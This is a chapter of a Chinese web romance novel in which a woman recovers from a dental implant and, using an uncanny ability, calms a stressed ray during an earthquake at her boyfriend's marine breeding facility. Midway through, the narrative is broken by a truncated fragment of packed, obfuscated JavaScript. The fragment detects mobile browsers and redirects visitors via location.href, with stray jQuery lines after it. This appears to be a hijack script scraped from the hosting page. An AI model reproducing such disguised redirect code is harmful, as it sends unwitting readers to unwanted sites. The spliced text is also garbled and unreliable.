吸——呼——吸——呼——
周三,詹羽莹牵着罗洌,像个气泵,攥着知情书反复深呼吸。
她第一次知道,种牙竟然可能有这么多后遗症。
如果种的是上牙,钉子可能直接穿到鼻窦。如果是下压,则可能直接贯穿下巴。
“这个大夫水平很高,一般情况不会出事的。”
罗洌安慰道。
“所以,特殊情况还是可能出事的。”
詹羽莹目光呆滞。
罗洌不着痕迹摇了摇头,裹紧她发凉的双手:“你骨量充足,治疗及时,还用的是坚雅最好的型号,各方面条件都不错,放轻松。”
但她还是紧张得两腿发软。
“詹羽莹,来。”
大夫一声传唤,更是让她心率瞬间飙升。
“该我了该我了,怎么办怎么办……”
她转身就往手术室走。
罗洌及时拉住,迫使她转过身子,蜻蜓点水般落下一吻。
点得詹羽莹措手不及。
“加油。”
罗洌鼓励一笑,把詹羽莹的包抱在怀里。
“嗯……”
詹羽莹麻木地点了点头,大脑一片空白。等躺到手术台上,围上围脖,吐掉辛辣的蓝色漱口水,才发现自己从刚才就不紧张了。
后来发生了什么,詹羽莹只记得大概。总之一期手术一切顺利,圆满成功。
“你的粥我已经准备好了,”罗洌将她的靠椅微微往后放,还塞给她一条毯子,“咱们去滨海。”
“嗯?”
詹羽莹对他的行程安排摸不着头脑。
他启动车辆:“你之前不是说好奇我们的工作,想亲自参与吗?今天是个好机会。”
詹羽莹摆弄着在三月底显得有些多余的毯子,应声点头。
这次是微创手术,没有拔牙疼。而根据之前拔牙的经验,詹羽莹和罗洌都清楚——分散注意力有助于缓解疼痛,让她老实待着反而会放大痛楚。
到了滨海的繁育区,詹羽莹发现这里只有赵岚。
“其他人呢?”
詹羽莹突然放缓脚步。
“请假刚走。”罗洌把揣在怀里的酸奶调整了一下位置,“所以就搬了你这个救兵。”
詹羽莹了然,然后跟刚忙完的赵岚打了个招呼:“你好。”
而赵岚只是微微点了下头,连看都没看她一眼。与之相对的是,她对罗洌非常热情:“组长,你终于来了……”然后汇报了一些数值情况。
罗洌听完,便捡出詹羽莹可能的知识盲区,进行补充说明。然后又亲自教她怎么用那些仪器,以及监测的方面的注意事项。
詹羽莹听得津津有味,甚至没注意到赵岚时不时投来的异样眼神。
“那这里面的变数还挺大,”詹羽莹感慨,“母鳐有任何风吹草动,你们这边都要赶快排查温度水质情况,再挨个尝试。”
“没错,”罗洌沉重点了下头,“这次召集了我们这么多人,就是因为前人已经从失败中积攒了足够的经验,成功几率大大增加。”
“那我们也得不负众望才行。”
詹羽莹望了眼动作逐渐暴躁的母鳐,微蹙眉头:“怎么回事?”
吱——呀——吱——呀——
有节奏的吱呀声,击得在场众人集体大脑短路。
“地震了。”
詹羽莹不自觉小声说,仿佛再大点声就会惊动“地龙”。
她下意识挣脱罗洌臂膀,隔着桌子双手贴上亚克力幕墙,尽全力控制母鳐往水池中心游,以防撞伤。
却被赵岚一把推开:“别碍事。”然后护好设备和记录。
詹羽莹被推了个趔趄,膝盖狠狠撞了一下桌子腿。
但她根本顾不上疼,集中注意操控母鳐。
不管是在滨海拯救落水男孩的那次,还是在临淓下意识控制了全馆鱼群的时候,都没有这次困难。
几秒,却仿佛几分钟那么长。
大地停息。
但詹羽莹不敢松懈,甚至没注意到始终护在她身旁,又不曾妨碍她半分的罗洌。
“幸好,母鳐没什么反应。”
赵岚松了口气,然后冷冷盯着詹羽莹:“你玩够了吗?如果你是来发呆的,不如走人。”
“你说够了么?”
罗洌投去冷锋般的视线,激得赵岚诧异了一下,错开视线不再吭声。
詹羽莹怕突然解除控制后,母鳐会遵循地震前的记忆应激。所以她以毫秒为单位,时不时对母鳐解除控制,并逐渐增长解除控制的时间。等母鳐彻底冷静了,才松了口气。
她从没这么干过。不知是因为这样做需要极高的技巧,还是地震让母鳐更难被控制。一番努力下来,她已经满头大汗。
“好了。”
她把头贴向扶着玻璃的手,大口喘着气。
赵岚那边一副看娇气大小姐的眼神,但一句嘲讽话都不敢再说。
“辛苦了。”
罗洌好不嫌弃地用衣袖轻轻擦去她额上的汗珠,捋好她的头发。又从兜里掏出几个巧克力能量棒,迅速拆开塞进她口中,然后半搂半抱地把她放进椅子,环顾四周,抄起一瓶可乐,顿了一下,又把怀里酸奶的吸管拆出来,喂给她喝。
“怎么样,好点没?”
罗洌扶着吸管,神色慌张。
詹羽莹无法估计自己的情况,但还是应付性地点了点头。
“赵岚,”罗洌视线始终落在詹羽莹脸上,“给吴老师打电话,说母鳐之前应激,情况不稳,让他过来。”
赵岚心说母鳐现在不是挺正常吗,但考虑到万一,还是缓缓点了点头。
“我一会儿要走,到时让他替我。”
罗洌搜刮了全身上下所有的口袋,把甜食一股脑塞给詹羽莹:“她低血糖,可能要去医院,我得照顾她。”
“低血糖?”赵岚一边给吴老师打字发消息,一边狐疑地看了詹羽莹一眼,但眼神已不再有之前的敌意。
“嗯。之后辛苦你了。”
罗洌说着,要把詹羽莹打横抱起。
“停,”詹羽莹头疼眼花地制止,“我不走,万一有余震……”
罗洌语气急躁:“你会死的!”说着,一把抱起她往外走。
“不会!”詹羽莹死死扣住门框,用力说道:“我吃了这么多,不会有事,但母鳐不一样!”
罗洌瞥了眼詹羽莹手边的金属锁孔,生怕她伤着自己。只好叹了口气,然后把她放回椅子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403299|163778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“谢谢。”
她捏了捏罗洌的大手。
罗洌无可奈何一笑,然后双手撑在扶手上:“要是你再晕,我就把你手脚捆起来,打包掳走。”
詹羽莹调皮一笑:“嘿嘿……”然后继续往肚子里塞高糖分食物。
“刚才是三级地震,不是什么大事。”
赵岚找准机会,向罗洌汇报。
“嗯。”罗洌头也不回,“吴老师怎么说?”
“在路上了,一会儿就到。”
赵岚如实答道。
“哎呦,累死我了。”
话音刚落,门口就传来年迈的声音。
“吴老师。”
罗洌和赵岚分别打着招呼。
“哎。”吴老师随意一应,观察着母鳐,然后随意翻动着监测记录,“还好还好,应该没什么事,咱们就别折腾它了。”
这才转头看着窝在椅子里胡吃海塞的詹羽莹:“这位是?”
“詹羽莹,”罗洌看向她的眼神充满自豪,“我不在的时候,临淓全靠她。”
“哦!”吴老师眨巴着眼镜后睿智的小眼睛,“你就是罗洌的女朋友啊?今天可算见到了。果然……不是凡人。”
罗洌笑道:“她今天来帮忙的,不巧低血糖犯了,刚才差点被我抗去医院——”
“我没事,吴老师,”詹羽莹顶着头疼,依然不停吃着,“等我缓过劲来,肯定是个好帮手。”
“哈哈!好好。”吴老师看向詹羽莹的眼神十分新奇,“能让罗洌把临淓交给你,肯定是个人才。”
“那倒也不是……”
詹羽莹突然心虚。
“嗐,谦虚了。”
吴老师完全把她看作璞玉。
“报道说大概率不会有能感觉到的余震了,你可以走了。”
赵岚逐客。
詹羽莹不理她。
“你干你的。”
罗洌皱眉让赵岚专注工作,自己也调整着方才混乱中被碰歪的设备。
吴教授面色严肃,来回看着詹羽莹和赵岚,最后看向罗洌,眉头的褶皱越来越深。
就这样,众人工作时工作,空闲时扯扯闲话,不知不觉天色已暗。
“走吧?”
等到三组交班的人就位,罗洌催促道。
“嗯……”
詹羽莹还是担心母鳐出什么问题,但想到这样下去也不是个头,便听从了罗洌的建议。
她跟吴教授道别:“吴老师,下次再跟您学习。”
“好好好,一定来啊!”
吴教授笑得慈祥。
走出滨海,坐进车里,罗洌终于被詹羽莹戏谑的视线逼得投向,用那双放电的桃花眼正视她,报以同样的笑:“怎么了?”
詹羽莹也不甘示弱,脸凑得更近了:“在想那个冷面叛逆少年究竟是什么模样。”
刚才她从吴教授口中得知不少罗洌大学和研究生时期的事情。知道他在同学和老师眼中那么难以接近,就不由地想起第一次和他见面的时候,明明撞了车,也不见他有多急躁。
“不像啊。”
詹羽莹捏着他的下巴,左看看右看看。
罗洌一把拢住她微微发凉的手,捂着暖了暖:“那得看是对谁。”